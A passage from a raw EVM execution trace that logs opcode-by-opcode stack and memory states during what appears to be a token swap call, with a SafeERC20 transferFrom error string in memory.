1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15474,"op":"PUSH1","gas":95741,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15476,"op":"ADD","gas":95738,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15477,"op":"PUSH2","gas":95735,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15480,"op":"JUMP","gas":95732,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x3c61"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15457,"op":"JUMPDEST","gas":95724,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15458,"op":"DUP4","gas":95723,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15459,"op":"DUP2","gas":95720,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15460,"op":"LT","gas":95717,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x64","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15461,"op":"ISZERO","gas":95714,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15462,"op":"PUSH2","gas":95711,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15465,"op":"JUMPI","gas":95708,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x0","0x3c79"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c8000000000000000000000000000000000000